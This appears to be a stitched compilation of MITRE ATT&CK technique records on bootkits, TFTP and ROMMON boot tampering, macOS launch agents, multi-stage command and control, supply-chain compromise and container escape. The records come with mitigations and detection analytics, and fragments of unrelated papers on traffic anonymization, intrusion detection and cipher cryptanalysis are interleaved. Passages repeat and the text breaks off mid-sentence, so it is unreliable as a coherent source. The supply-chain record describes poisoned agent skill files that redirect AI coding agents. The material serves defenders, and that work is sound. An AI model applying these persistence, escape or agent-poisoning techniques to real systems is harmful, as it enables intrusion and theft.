A bootkit is a malware variant that modifies the boot sectors of a hard drive, allowing malicious code to execute before a computer's operating system has loaded. Bootkits reside at a layer below the operating system and may make it difficult to perform full remediation unless an organization suspects one was used and can act accordingly.\n\nIn BIOS systems, a bootkit may modify the Master Boot Record (MBR) and/or Volume Boot Record (VBR). The MBR is the section of disk that is first loaded after completing hardware initialization by the BIOS. It is the location of the boot loader. An adversary who has raw access to the boot drive may overwrite this area, diverting execution during startup from the normal boot loader to adversary code.\n\nThe MBR passes control of the boot process to the VBR. Similar to the case of MBR, an adversary who has raw access to the boot drive may overwrite the VBR to divert execution during startup to adversary code.\n\nIn UEFI (Unified Extensible Firmware Interface) systems, a bootkit may instead create or modify files in the EFI system partition (ESP). The ESP is a partition on data storage used by devices containing UEFI that allows the system to boot the OS and other utilities used by the system.

It is designed to thwart adversaries attempting to modify system firmware, bootloaders, or critical OS components. This mitigation can be implemented through the following measures:\n- **Audit**: Auditing is the process of recording activity and systematically reviewing and analyzing the activity and system configurations. The primary purpose of auditing is to detect anomalies and identify potential threats or weaknesses in the environment. Proper auditing configurations can also help to meet compliance requirements. The process of auditing encompasses regular analysis of user behaviors and system logs in support of proactive security measures.\n- **Network Intrusion Prevention**: Use intrusion detection signatures to block traffic at network boundaries. […]\n\n## Reference: ATT&CK T1542.005 TFTP Boot\n**ATT&CK T1542.005 TFTP Boot (full record).** Adversaries may abuse netbooting to load an unauthorized network device operating system from a Trivial File Transfer Protocol (TFTP) server. TFTP boot (netbooting) is commonly used by network administrators to load configuration-controlled network device images from a centralized management server. Netbooting is one option in the boot sequence and can be used to centralize, manage, and control device images.\n\nAdversaries may manipulate the configuration on the network device specifying use of a malicious TFTP server, which may be used in conjunction with Modify System Image to load a modified image on device startup or reset. The unauthorized image allows adversaries to modify device configuration, add malicious capabilities to the device, and introduce backdoors to maintain control of the network device while minimizing detection through use of a standard functionality. This technique is similar to ROMMONkit and may result in the network device running a modified image.\n\n**Classification.** - Tactics: stealth, persistence\n- Platforms: Network Devices\n- Sub-technique of: T1542 Pre-OS Boot - Adversaries may abuse Pre-OS Boot mechanisms as a way to establish persistence on a system. During the booting process of a computer, firmware and various startup services are loaded before the operating system. These programs control flow of execution before the operating system takes control.\n\n**Mitigations.** - **Network Intrusion Prevention**: Use intrusion detection signatures to block traffic at network boundaries.\n- **Operating System Configuration**: Operating System Configuration involves adjusting system settings and hardening the default configurations of an operating system (OS) to mitigate adversary exploitation and prevent abuse of system functionality. Proper OS configurations address security vulnerabilities, limit attack surfaces, and ensure robust defense against a wide range of techniques. This mitigation can be implemented through the following measures:\n- **Privileged Account Management**: Privileged Account Management focuses on implementing policies, controls, and tools to securely manage privileged accounts (e.g., SYSTEM, root, or administrative accounts). […]\n\n## Reference: ATT&CK T1543.001 Launch Agent\n**ATT&CK T1543.001 Launch Agent (full record).** Adversaries may create or modify launch agents to repeatedly execute malicious payloads as part of persistence. When a user logs in, a per-user launchd process is started which loads the parameters for each launch-on-demand user agent from the property list (.plist) file found in `/System/Library/LaunchAgents`, `/Library/LaunchAgents`, and `~/Library/LaunchAgents`. Property list files use the `Label`, `ProgramArguments `, and `RunAtLoad` keys to identify the Launch Agent's name, executable location, and execution time. Launch Agents are often installed to perform updates to programs, launch user specified programs at login, or to conduct other developer tasks.\n\nLaunch Agents can also be executed using the Launchctl command.\n\nAdversaries may install a new Launch Agent that executes at login by placing a.plist file into the appropriate folders with the `RunAtLoad` or `KeepAlive` keys set to `true`. The Launch Agent name may be disguised by using a name from the related operating system or benign software. Launch Agents are created with user level privileges and execute with user level permissions.\n\n**Classification.** - Tactics: persistence, privilege-escalation\n- Platforms: macOS\n- Sub-technique of: T1543 Create or Modify System Process - Adversaries may create or modify system-level processes to repeatedly execute malicious payloads as part of persistence. When operating systems boot up, they can start processes that perform background system functions. On Windows and Linux, these system processes are referred to as services.\n\n**Mitigations.** - **Restrict File and Directory Permissions**: Restricting file and directory permissions involves setting access controls at the file system level to limit which users, groups, or processes can read, write, or execute files. By configuring permissions appropriately, organizations can reduce the attack surface for adversaries seeking to access sensitive data, plant malicious code, or tamper with system files.

For example, the return traffic may take the form of the compromised system posting a comment on a forum, issuing a pull request to development project, updating a document hosted on a Web service, or by sending a Tweet.\n\nPopular websites and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise.

Compromised systems may leverage popular websites and social media to host command and control (C2) instructions. Those infected systems may opt to send the output from those commands back over a different C2 channel, including to another distinct Web service. Alternatively, compromised systems may return no output at all in cases where adversaries want to send instructions to systems and do not want a response.\n\nPopular websites and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise.

Use of multiple stages may obfuscate the command and control channel to make detection more difficult.\n\nRemote access tools will call back to the first-stage command and control server for instructions. The first stage may have automated capabilities to collect basic host information, update tools, and upload additional files. A second remote access tool (RAT) could be uploaded at that point to redirect the host to the second-stage command and control server. The second stage will likely be more fully featured and allow the adversary to interact with the system through a reverse shell and additional RAT features.\n\nThe different stages will likely be hosted separately with no overlapping infrastructure. The loader may also have backup first-stage callbacks or Fallback Channels in case the original first-stage communication path is discovered and blocked.\n\n**Classification.** - Tactics: command-and-control\n- Platforms: Linux, macOS, Windows, ESXi\n\n**Mitigations.** - **Network Intrusion Prevention**: Use intrusion detection signatures to block traffic at network boundaries.\n\n**Detection strategies and analytics.** - **Detect Multi-Stage Command and Control Channels**\n - Initial process initiates outbound connection to first-stage C2, receives payloads or commands, then spawns or injects into a second process that establishes a new outbound connection to an unrelated destination (second-stage C2).

[…]\n\n## Reference: ATT&CK T1106 Native API\n**ATT&CK T1106 Native API (full record).** Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes. These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.\n\nAdversaries may abuse these OS API functions as a means of executing behaviors. Similar to Command and Scripting Interpreter, the native API and its hierarchy of interfaces provide mechanisms to interact with and utilize various components of a victimized system.\n\nNative API functions (such as `NtCreateProcess`) may be directed invoked via system calls / syscalls, but these features are also often exposed to user-mode applications via interfaces and libraries. For example, functions such as the Windows API `CreateProcess` or GNU `fork` will allow programs and scripts to start other processes. This may allow API callers to execute a binary, run a CLI command, load modules, etc. as thousands of similar API functions exist for various system operations.\n\nHigher level software frameworks, such as Microsoft.NET and macOS Cocoa, are also available to interact with native APIs. These frameworks typically provide language wrappers/abstractions to API functionalities and are designed for ease-of-use/portability of code.\n\nAdversaries may use assembly to directly or in-directly invoke syscalls in an attempt to subvert defensive sensors and detection signatures such as user mode API-hooks. Adversaries may also attempt to tamper with sensors and defensive tools associated with API monitoring, such as unhooking monitored functions via Disable or Modify Tools.\n\n**Classification.** - Tactics: execution\n- Platforms: Linux, macOS, Windows\n\n**Mitigations.** - **Execution Prevention**: Prevent the execution of unauthorized or malicious code on systems by implementing application control, script blocking, and other execution prevention mechanisms. This ensures that only trusted and authorized code is executed, reducing the risk of malware and unauthorized actions.

The operating system and installed applications often have legitimate needs to prompt the user for sensitive information such as account credentials, bank account information, or Personally Identifiable Information (PII). Compared to traditional PCs, the constrained display size of mobile devices may impair the ability to provide users with contextual information, making users more susceptible to this technique’s use.\n\nThere are several approaches adversaries may use to mimic this functionality. Adversaries may impersonate the identity of a legitimate application (e.g. use the same application name and/or icon) and, when installed on the device, may prompt the user for sensitive information. Adversaries may also send fake device notifications to the user that may trigger the display of an input prompt when clicked.\n\nAdditionally, adversaries may display a prompt on top of a running, legitimate application to trick users into entering sensitive information into a malicious application rather than the legitimate application. Typically, adversaries need to know when the targeted application and the individual activity within the targeted application is running in the foreground to display the prompt at the proper time. Adversaries can abuse Android’s accessibility features to determine which application is currently in the foreground. Two known approaches to displaying a prompt include:\n\n* Adversaries start a new activity on top of a running legitimate application. Android 10 places new restrictions on the ability for an application to start a new activity on top of another application, which may make it more difficult for adversaries to utilize this technique.\n* Adversaries create an application overlay window on top of a running legitimate application. Applications must hold the `SYSTEM_ALERT_WINDOW` permission to create overlay windows. This permission is handled differently than typical Android permissions and, at least under certain conditions, is automatically granted to applications installed from the Google Play Store. The `SYSTEM_ALERT_WINDOW` permission and its associated ability to create application overlay windows are expected to be deprecated in a future release of Android in favor of a new API.\n\n## Reference: ATT&CK AN1938 Analytic 1938\n**ATT&CK AN1938 Analytic 1938 (full record).** Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\n\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.\n\n## Reference: ATT&CK AN1939 Analytic 1939\n**ATT&CK AN1939 Analytic 1939 (full record).** Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\n\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.\n\n## Reference: ATT&CK AN1940 Analytic 1940\n**ATT&CK AN1940 Analytic 1940 (full record).** Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult.

Introduction.** Privacy, Anonymization, Anomaly Detection\n\nMartin BURKHART * *\n\n*\n\nComputer Engineering and Networks Laboratory, ETH Zurich, Switzerland, burkhart@tik.ee.ethz.ch, Daniela BRAUCKHOFF\n\n, Martin MAY ‡ ‡\n\n‡\n\n,\n\nThe sharing of network traces is an important prerequisite for the development and evaluation of efficient anomaly detection mechanisms. Unfortunately, privacy concerns and data protection laws prevent network operators from sharing these data. Anonymization is a promising solution in this context; however, it is unclear if the sanitization of data preserves the traffic characteristics or introduces artifacts that may falsify traffic analysis results. In this paper, we examine the utility of anonymized flow traces for anomaly detection. We quantitatively evaluate the impact of IP address anonymization, namely variations of permutation and truncation, on the detectability of large-scale anomalies. Specifically, we analyze three weeks of un-sampled and non-anonymized network traces from a medium-sized backbone network. We find that all anonymization techniques, except prefix-preserving permutation, degrade the utility of data for anomaly detection. We show that the degree of degradation depends to a large extent on the nature and mix of anomalies present in a trace. Moreover, we present a case study that illustrates how traffic characteristics of individual hosts are distorted by anonymization.\n\n**1.  Introduction.** One of the principal reasons for the slow progress in anomaly detection research is the lack of publicly available, unaltered network traffic traces. The sharing of traffic data is hindered since releasing data always introduces a threat to users’ privacy. Even when data export is restricted to packet headers, as is the case with Cisco NetFlow, a certain amount of personal information may still be extracted and exploited to illegitimately profile user behavior. This threat has already been recognized by data protection legislation in both Europe [ 6, 7 ] and the United States [15]. As a result, multiple anonymization tools that prevent the leakage of privacy information have been developed, such as FLAIM [18], TCPdpriv [13], and CryptoPAn [8].

In addition to maintaining low latency and poor performance for the client, filtering unauthorized accesses has become one of the major concerns of a server administrator.\n\nHence implementation of an Intrusion Detection System (IDS) [2] distinguishes between the traffic coming from clients and the traffic originated from the attackers or intruders, in an attempt to simultaneously mitigate the problems of throughput, latency and security of the network. We then present the results of a series of load and response time in the terms of performance and scalability tests, and suggest a number of potential uses for such a system.\n\nThe exponential growth of computer/network attacks are becoming more and more difficult to identify and the need for better and more efficient intrusion detection systems increases in step. The main problem with current intrusion detection systems is high rate of false alarms.

Institute of Management Technology Ghaziabad - India\n\nAbstract— The cryptanalysis of simplified data encryption standard can be formulated as NP-Hard combinatorial problem. The goal of this paper is two fold. First we want to make a study about how evolutionary computation techniques can efficiently solve the NP-Hard combinatorial problem. For achieving this goal we test several evolutionary computation techniques like memetic algorithm, genetic algorithm and simulated annealing for the cryptanalysis of simplified data encryption standard problem (SDES). And second was a comparison between memetic algorithm, genetic algorithm and simulated annealing were made in order to investigate the performance for the cryptanalysis on SDES. The methods were tested and extensive computational results show that memetic algorithm performs better than genetic algorithms and simulated annealing for such type of NP-Hard combinatorial problem. This paper represents our first effort toward efficient memetic algorithm for the cryptanalysis of SDES Keywords: Simplified data encryption standard, Memetic algorithm, Genetic algorithm, Simulated annealing, Key search space I.\n\n**INTRODUCTION.** This paper proposes the cryptanalysis of simplified encryption standard algorithm using memetic and genetic algorithm. The cryptanalysis of simplified data encryption standard can be formulated as NP-Hard combinatorial problem. Solving such problems requires effort (e.g., time and/or memory requirement) which increases with the size of the problem. Techniques for solving combinatorial problems fall into two broad groups – traditional optimization techniques (exact algorithms) and non traditional optimization techniques (approximate algorithms). A traditional optimization technique guarantees that the optimal solution to the problem will be found. The traditional optimization techniques like branch and bound, simplex method, brute force search algorithm etc methodology is very inefficient for solving combinatorial problem because of their prohibitive complexity (time and memory requirement). Non traditional optimization techniques are employed in an attempt to find an adequate solution to the problem. A non traditional optimization technique - memetic algorithm, genetic algorithm, simulated annealing and tabu search were developed to provide a robust and efficient methodology for cryptanalysis.

Also, with the spread of reconfigurable hardware such as FPGAs (Field Programmable Gate Array) embedded cryptographic hardware became cost-effective. Nevertheless, it is worthy to note that nowadays, even hardwired cryptographic algorithms are not so safe. From another side, the self-reconfiguring platform is reported that enables an FPGA to dynamically reconfigure itself under the control of an embedded microprocessor. Hardware acceleration significantly increases the performance of embedded systems built on programmable logic. Allowing a FPGA-based MicroBlaze processor to self-select the coprocessors uses can help reduce area requirements and increase a system's versatility. The architecture proposed in this paper is an optimal hardware\n\n**implementation.** algorithm and takes dynamic partially reconfigurable of FPGA. This implementation is good solution to preserve confidentiality and accessibility to the information in the numeric communication. Key words: Cryptography; Embedded systems; Reconfigurable computing; Self-reconfiguration\n\n**1. Introduction.** Today, ultra deep submicronic technologies offer high scale density of integration for communication systems. This growth in integration has been accompanied with dramatically increase of complexity and transaction speed of this systems. As a consequence, security becomes a challenge and a critical issue especially for real time applications where materiel and software resources are very precious and necessary to provide a minimum of service quality.\n\nIndeed, today speed and computing power impose the recourse to sophisticated and more complicated cryptography algorithms for high level security. Full software implementation is very heavy and slows down considerably speed of the information exchange. From another side, full hardware implementation is very expensive in terms of area, power and can also deteriorate speed of information transitions.

Regular updates reduce the attack surface and prevent adversaries from exploiting known security gaps. This includes patching operating systems, applications, drivers, and firmware. This mitigation can be implemented through the following measures:\n- **Privileged Account Management**: Privileged Account Management focuses on implementing policies, controls, and tools to securely manage privileged accounts (e.g., SYSTEM, root, or administrative accounts). This includes restricting access, limiting the scope of permissions, monitoring privileged account usage, and ensuring accountability through logging and auditing.This mitigation can be implemented through the following measures:\n- **Boot Integrity**: Boot Integrity ensures that a system starts securely by verifying the integrity of its boot process, operating system, and associated components. This mitigation focuses on leveraging secure boot mechanisms, hardware-rooted trust, and runtime integrity checks to prevent tampering during the boot sequence. It is designed to thwart adversaries attempting to modify system firmware, bootloaders, or critical OS components. This mitigation can be implemented through the following measures:\n\n## Detection strategies and analytics\n- **Firmware Modification via Flash Tool or Corrupted Firmware Upload**\n - Firmware flash utility invoked with elevated privileges followed by raw access to firmware device path or changes to boot configuration.

Windows processes often leverage these API functions to perform tasks that require reusable system resources. Windows API functions are typically stored in dynamic-link libraries (DLLs) as exported functions.\n\nOne type of hooking seen in ICS involves redirecting calls to these functions via import address table (IAT) hooking.

[…]\n\n## Reference: ATT&CK T0877 I/O Image\n**ATT&CK T0877 I/O Image (full record).** Adversaries may seek to capture process values related to the inputs and outputs of a PLC. During the scan cycle, a PLC reads the status of all inputs and stores them in an image table. The image table is the PLCs internal storage location where values of inputs/outputs for one scan are stored while it executes the user program. After the PLC has solved the entire logic program, it updates the output image table. The contents of this output image table are written to the corresponding output points in I/O Modules.\n\nThe Input and Output Image tables described above make up the I/O Image on a PLC. This image is used by the user program instead of directly interacting with physical I/O.\n\nAdversaries may collect the I/O Image state of a PLC by utilizing a devices Native API to access the memory regions directly. The collection of the PLCs I/O state could be used to replace values or inform future stages of an attack.\n\n**Classification.** - Tactics: collection\n- Platforms: Embedded\n\n**Mitigations.** - **Mitigation Limited or Not Effective**: This type of attack technique cannot be easily mitigated with preventative controls since it is based on the abuse of system features.\n\n**Detection strategies and analytics.** - **Detection of I/O Image**\n - Real-time monitoring identifies a single Industrial Control System (ICS) protocol session reading the complete Input/Output (I/O) image from a field device, rather than the sparse, fixed tag subset that legitimate Supervisory Control and Data Acquisition (SCADA) polling queries, from a source not in the approved control server list.

This type of Network DoS takes advantage of a third-party server intermediary that hosts and will respond to a given spoofed source IP address. This third-party server is commonly termed a reflector. An adversary accomplishes a reflection attack by sending packets to reflectors with the spoofed address of the victim. Similar to Direct Network Floods, more than one system may be used to conduct the attack, or a botnet may be used. Likewise, one or more reflectors may be used to focus traffic on the target. This Network DoS attack may also reduce the availability and functionality of the targeted system(s) and network.\n\nReflection attacks often take advantage of protocols with larger responses than requests in order to amplify their traffic, commonly known as a Reflection Amplification attack. Adversaries may be able to generate an increase in volume of attack traffic that is several orders of magnitude greater than the requests sent to the amplifiers. The extent of this increase will depending upon many variables, such as the protocol in question, the technique used, and the amplifying servers that actually produce the amplification in attack volume. Two prominent protocols that have enabled Reflection Amplification Floods are DNS and NTP, though the use of several others in the wild have been documented. In particular, the memcache protocol showed itself to be a powerful protocol, with amplification sizes up to 51,200 times the requesting packet.\n\n## Reference: ATT&CK DET0603 Detection of Device Lockout\n**Detects.** - T1629.002 Device Lockout\n\n**Analytics.** - Analytic 1652: For Android, detect Device Lockout from documented management, network, or vetting evidence;

Enterprise server applications may include features that allow developers to write and install software or scripts to extend the functionality of the main application.\n\n## Mitigations\n- **Audit**: Auditing is the process of recording activity and systematically reviewing and analyzing the activity and system configurations. The primary purpose of auditing is to detect anomalies and identify potential threats or weaknesses in the environment. Proper auditing configurations can also help to meet compliance requirements. The process of auditing encompasses regular analysis of user behaviors and system logs in support of proactive security measures.\n- **Code Signing**: Code Signing is a security process that ensures the authenticity and integrity of software by digitally signing executables, scripts, and other code artifacts. It prevents untrusted or malicious code from executing by verifying the digital signatures against trusted sources. Code signing protects against tampering, impersonation, and distribution of unauthorized or malicious software, forming a critical defense against supply chain and software exploitation attacks.\n- **Privileged Account Management**: Privileged Account Management focuses on implementing policies, controls, and tools to securely manage privileged accounts (e.g., SYSTEM, root, or administrative accounts). This includes restricting access, limiting the scope of permissions, monitoring privileged account usage, and ensuring accountability through logging and auditing.This mitigation can be implemented through the following measures:\n\n## Detection strategies and analytics\n- **Detection Strategy for SQL Stored Procedures Abuse via T1505.001**\n - Creation or modification of stored procedures invoking xp_cmdshell or CLR assemblies for command execution and persistence.

The primary purpose of auditing is to detect anomalies and identify potential threats or weaknesses in the environment. Proper auditing configurations can also help to meet compliance requirements. The process of auditing encompasses regular analysis of user behaviors and system logs in support of proactive security measures.\n- **Restrict Registry Permissions**: Restricting registry permissions involves configuring access control settings for sensitive registry keys and hives to ensure that only authorized users or processes can make modifications. By limiting access, organizations can prevent unauthorized changes that adversaries might use for persistence, privilege escalation, or defense evasion. This mitigation can be implemented through the following measures:\n\n## Detection strategies and analytics\n- **Detection Strategy for T1505.005 – Terminal Services DLL Modification (Windows)**\n - Adversary modifies or replaces the Terminal Services DLL (`termsrv.dll`) or changes the associated `ServiceDll` Registry value to load an arbitrary or patched DLL that enables persistent and enhanced RDP access.

Microsoft Terminal Services, renamed to Remote Desktop Services in some Windows Server OSs as of 2022, enable remote terminal connections to hosts. Terminal Services allows servers to transmit a full, interactive, graphical user interface to clients via RDP.\n\nWindows Services that are run as a \"generic\" process (ex: `svchost.exe`) load the service's DLL file, the location of which is stored in a Registry entry named `ServiceDll`. The `termsrv.dll` file, typically stored in `%SystemRoot%\\System32\\`, is the default `ServiceDll` value for Terminal Services in `HKLM\\System\\CurrentControlSet\\services\\TermService\\Parameters\\`.\n\nAdversaries may modify and/or replace the Terminal Services DLL to enable persistent access to victimized hosts. Modifications to this DLL could be done to execute arbitrary payloads (while also potentially preserving normal `termsrv.dll` functionality) as well as to simply enable abusable features of Terminal Services. For example, an adversary may enable features such as concurrent Remote Desktop Protocol sessions by either patching the `termsrv.dll` file or modifying the `ServiceDll` value to point to a DLL that provides increased RDP functionality. On a non-server Windows OS this increased functionality may also enable an adversary to avoid Terminal Services prompts that warn/log out users of a system when a new RDP session is created.\n\n## Reference: ATT&CK AN1863 Analytic 1863\n**ATT&CK AN1863 Analytic 1863 (full record).** Real-time monitoring identifies a vendor-distributed software update package that, upon execution, exhibits behavior inconsistent with the vendor's documented installation profile: spawning unexpected child processes, writing files outside the vendor's standard manifest, or loading unsigned Dynamic Link Libraries (DLLs).

The strongest Android evidence is camera resource access followed by sustained capture duration, video or image artifact creation, buffer or cache growth, and optional outbound transfer, especially when the app is backgrounded, operating as a foreground service without visible user initiation, active while the device is locked, or capturing without recent user interaction. The detection is strengthened when the app i (telemetry: MobileEDR:telemetry:Camera sensor access began from app identity and remained active for sustained capture interval in app context not mapped to approved video recording workflow, MobileEDR:telemetry:Camera sensor access occurred while AppState=background, foreground service active without visible user action, or DeviceLockState=locked during capture interval, MobileEDR:telemetry:LastUserInteractionDelta exceeded threshold before camera session start and no foreground transition occurred during sustained capture interval)\n - The defender correlates managed-app or supervised-device camera access with app and device context showing that the capture is inconsistent with expected user-driven recording behavior. The strongest iOS evidence is camera access or camera-adjacent capture activity followed by app-state evidence such as background or low-interaction operation, optional media artifact creation, and optional post-capture network transfer. Because direct low-level runtime visibility is weaker than Android for many enterprises, the primary iOS analytic should anchor on managed app context, device state, and downst (telemetry: MobileEDR:telemetry:LastUserInteractionDelta exceeded threshold before app-attributed session using non-standard protocol-to-port pairing, MobileEDR:telemetry:Background activity, low-interaction device state, or DeviceLockState=locked was observed during sustained camera session or immediately before camera access from same bundle context, iOS:unifiedlog:Camera, media capture, app-activation, or background-task subsystem event occurred immediately before or during sustained camera session from same managed-app or device context)\n\n## Tracked users (groups, malware, tools)\n- Stealth Mango (malware): Stealth Mango is Android malware that has reportedly been used to successfully compromise the mobile devices of government officials, members of the military, medical professionals.\n- GolfSpy (malware): GolfSpy is Android spyware deployed by the group Bouncing Golf.\n- Crocodilus (malware): Crocodilus is an Android banking Trojan that was discovered in March 2025.\n- SpyC23 (malware): SpyC23 is a mobile malware that has been used by APT-C-23 since at least 2017.

Applications often depend on external software to function properly. Popular open source projects that are used as dependencies in many applications, such as pip and NPM packages, may be targeted as a means to add malicious code to users of the dependency. This may also include abandoned packages, which in some cases could be re-registered by threat actors after being removed by adversaries. Adversaries may also employ \"typosquatting\" or name-confusion by choosing names similar to existing popular libraries or packages in order to deceive a user.\n\nAdditionally, CI/CD pipeline components, such as GitHub Actions, may be targeted in order to gain access to the building, testing, and deployment cycles of an application. By adding malicious code into a GitHub action, a threat actor may be able to collect runtime credentials (e.g., via Proc Filesystem) or insert further malicious components into the build pipelines for a second-order supply chain compromise. As GitHub Actions are often dependent on other GitHub Actions, threat actors may be able to infect a large number of repositories via the compromise of a single Action.\n\nAdversaries may also target the configuration and instruction files consumed by integrated development environments and AI coding agents. Project files such as tasks.json may execute commands when a developer opens or builds a project, while agent skill files (SKILL.md) supply an agent with instructions and resources that it loads on demand and runs with the permissions of the agent process. To encourage downloads, adversaries may publish these files under benign-appearing or typo-squatted names, upload unmodified copies of the genuine skills first so the listings accumulate installs before the content behind them is weaponized, or may place the malicious instructions in a secondary document that the reviewed entry point references. Because these artifacts are natural language or configuration rather than executable code, they may pass registry screening and signature-based scanning.\n\nTargeting may be specific to a desired victim set or may be distributed to a broad set of consumers but only move on to additional tactics on specific victims. […]\n\n## Reference: ATT&CK T1195.002 Compromise Software Supply Chain\n**ATT&CK T1195.002 Compromise Software Supply Chain (full record).** Adversaries may manipulate application software prior to receipt by a final consumer for the purpose of data or system compromise. Supply chain compromise of software can take place in a number of ways, including manipulation of the application source code, manipulation of the update/distribution mechanism for that software, or replacing compiled releases with a modified version.\n\nTargeting may be specific to a desired victim set or may be distributed to a broad set of consumers but only move on to additional tactics on specific victims.\n\n**Classification.** - Tactics: initial-access\n- Platforms: Linux, Windows, macOS\n- Sub-technique of: T1195 Supply Chain Compromise - Adversaries may manipulate products or product delivery mechanisms prior to receipt by a final consumer for the purpose of data or system compromise.\n\n**Mitigations.** - **Update Software**: Software updates ensure systems are protected against known vulnerabilities by applying patches and upgrades provided by vendors. Regular updates reduce the attack surface and prevent adversaries from exploiting known security gaps. This includes patching operating systems, applications, drivers, and firmware. This mitigation can be implemented through the following measures:\n- **Vulnerability Scanning**: Vulnerability scanning involves the automated or manual assessment of systems, applications, and networks to identify misconfigurations, unpatched software, or other security weaknesses. The process helps prioritize remediation efforts by classifying vulnerabilities based on risk and impact, reducing the likelihood of exploitation by adversaries. This mitigation can be implemented through the following measures:\n\n**Detection strategies and analytics.** - **Compromised software/update chain (installer/write → first-run/child → egress/signature anomaly)**\n - Adversary ships a tampered application or update: an updater/installer (msiexec/setup/update.exe/vendor service) writes or replaces binaries; on first run it spawns scripts/shells or unsigned DLLs and beacons to non-approved update CDNs/hosts.

Bootkits reside at a layer below the operating system and may make it difficult to perform full remediation unless an organization suspects one was used and can act accordingly.\n\nIn BIOS systems, a bootkit may modify the Master Boot Record (MBR) and/or Volume Boot Record (VBR). The MBR is the section of disk that is first loaded after completing hardware initialization by the BIOS. It is the location of the boot loader. An adversary who has raw access to the boot drive may overwrite this area, diverting execution during startup from the normal boot loader to adversary code.\n\nThe MBR passes control of the boot process to the VBR. Similar to the case of MBR, an adversary who has raw access to the boot drive may overwrite the VBR to divert execution during startup to adversary code.\n\nIn UEFI (Unified Extensible Firmware Interface) systems, a bootkit may instead create or modify files in the EFI system partition (ESP). The ESP is a partition on data storage used by devices containing UEFI that allows the system to boot the OS and other utilities used by the system. An adversary can use the newly created or patched files in the ESP to run malicious kernel code.\n\n**Classification.** - Tactics: stealth, persistence\n- Platforms: Linux, Windows\n- Sub-technique of: T1542 Pre-OS Boot - Adversaries may abuse Pre-OS Boot mechanisms as a way to establish persistence on a system. During the booting process of a computer, firmware and various startup services are loaded before the operating system. These programs control flow of execution before the operating system takes control.\n\n**Mitigations.** - **Boot Integrity**: Boot Integrity ensures that a system starts securely by verifying the integrity of its boot process, operating system, and associated components. This mitigation focuses on leveraging secure boot mechanisms, hardware-rooted trust, and runtime integrity checks to prevent tampering during the boot sequence.

Similar to TFTP Boot, an adversary may upgrade the ROMMON image locally or remotely (for example, through TFTP) with adversary code and restart the device in order to overwrite the existing ROMMON image. This provides adversaries with the means to update the ROMMON to gain persistence on a system in a way that may be difficult to detect.\n\n**Classification.** - Tactics: stealth, persistence\n- Platforms: Network Devices\n- Sub-technique of: T1542 Pre-OS Boot - Adversaries may abuse Pre-OS Boot mechanisms as a way to establish persistence on a system.

This mitigation focuses on leveraging secure boot mechanisms, hardware-rooted trust, and runtime integrity checks to prevent tampering during the boot sequence. It is designed to thwart adversaries attempting to modify system firmware, bootloaders, or critical OS components. This mitigation can be implemented through the following measures:\n- **Audit**: Auditing is the process of recording activity and systematically reviewing and analyzing the activity and system configurations. The primary purpose of auditing is to detect anomalies and identify potential threats or weaknesses in the environment. Proper auditing configurations can also help to meet compliance requirements. The process of auditing encompasses regular analysis of user behaviors and system logs in support of proactive security measures.\n- **Network Intrusion Prevention**: Use intrusion detection signatures to block traffic at network boundaries. […]\n\n## Reference: ATT&CK T1542.005 TFTP Boot\n**ATT&CK T1542.005 TFTP Boot (full record).** Adversaries may abuse netbooting to load an unauthorized network device operating system from a Trivial File Transfer Protocol (TFTP) server. TFTP boot (netbooting) is commonly used by network administrators to load configuration-controlled network device images from a centralized management server. Netbooting is one option in the boot sequence and can be used to centralize, manage, and control device images.\n\nAdversaries may manipulate the configuration on the network device specifying use of a malicious TFTP server, which may be used in conjunction with Modify System Image to load a modified image on device startup or reset. The unauthorized image allows adversaries to modify device configuration, add malicious capabilities to the device, and introduce backdoors to maintain control of the network device while minimizing detection through use of a standard functionality. This technique is similar to ROMMONkit and may result in the network device running a modified image.\n\n**Classification.** - Tactics: stealth, persistence\n- Platforms: Network Devices\n- Sub-technique of: T1542 Pre-OS Boot - Adversaries may abuse Pre-OS Boot mechanisms as a way to establish persistence on a system.

In some cases, adversaries may deploy a new container to execute processes associated with a particular image or deployment, such as processes that execute or download malware. In others, an adversary may deploy a new container configured without network rules, user limitations, etc. to bypass existing defenses within the environment. In Kubernetes environments, an adversary may attempt to deploy a privileged or vulnerable container into a specific node in order to Escape to Host and access other containers running on the node.\n\nContainers can be deployed by various means, such as via Docker's `create` and `start` APIs or via a web application such as the Kubernetes dashboard or Kubeflow. In Kubernetes environments, containers may be deployed through workloads such as ReplicaSets or DaemonSets, which can allow containers to be deployed across multiple nodes. Adversaries may deploy containers based on retrieved or built malicious images or from benign images that download and execute malicious payloads at runtime.\n\n**Classification.** - Tactics: execution\n- Platforms: Containers\n\n**Mitigations.** - **User Account Management**: User Account Management involves implementing and enforcing policies for the lifecycle of user accounts, including creation, modification, and deactivation.

[…]\n\n## Reference: ATT&CK T1611 Escape to Host\n**ATT&CK T1611 Escape to Host (full record).** Adversaries may break out of a container or virtualized environment to gain access to the underlying host. This can allow an adversary access to other containerized or virtualized resources from the host level or to the host itself. In principle, containerized / virtualized resources should provide a clear separation of application functionality and be isolated from the host environment.\n\nThere are multiple ways an adversary may escape from a container to a host environment. Examples include creating a container configured to mount the host’s filesystem using the bind parameter, which allows the adversary to drop payloads and execute control utilities such as cron on the host; utilizing a privileged container to run commands or load a malicious kernel module on the underlying host; or abusing system calls such as `unshare` and `keyctl` to escalate privileges and steal secrets.\n\nAdditionally, an adversary may be able to exploit a compromised container with a mounted container management socket, such as `docker.sock`, to break out of the container via a Container Administration Command. Adversaries may also escape via Exploitation for Privilege Escalation, such as exploiting vulnerabilities in global symbolic links in order to access the root directory of a host machine.\n\nIn ESXi environments, an adversary may exploit a vulnerability in order to escape from a virtual machine into the hypervisor.\n\nGaining access to the host may provide the adversary with the opportunity to achieve follow-on objectives, such as establishing persistence, moving laterally within the environment, accessing other containers or virtual machines running on the host, or setting up a command 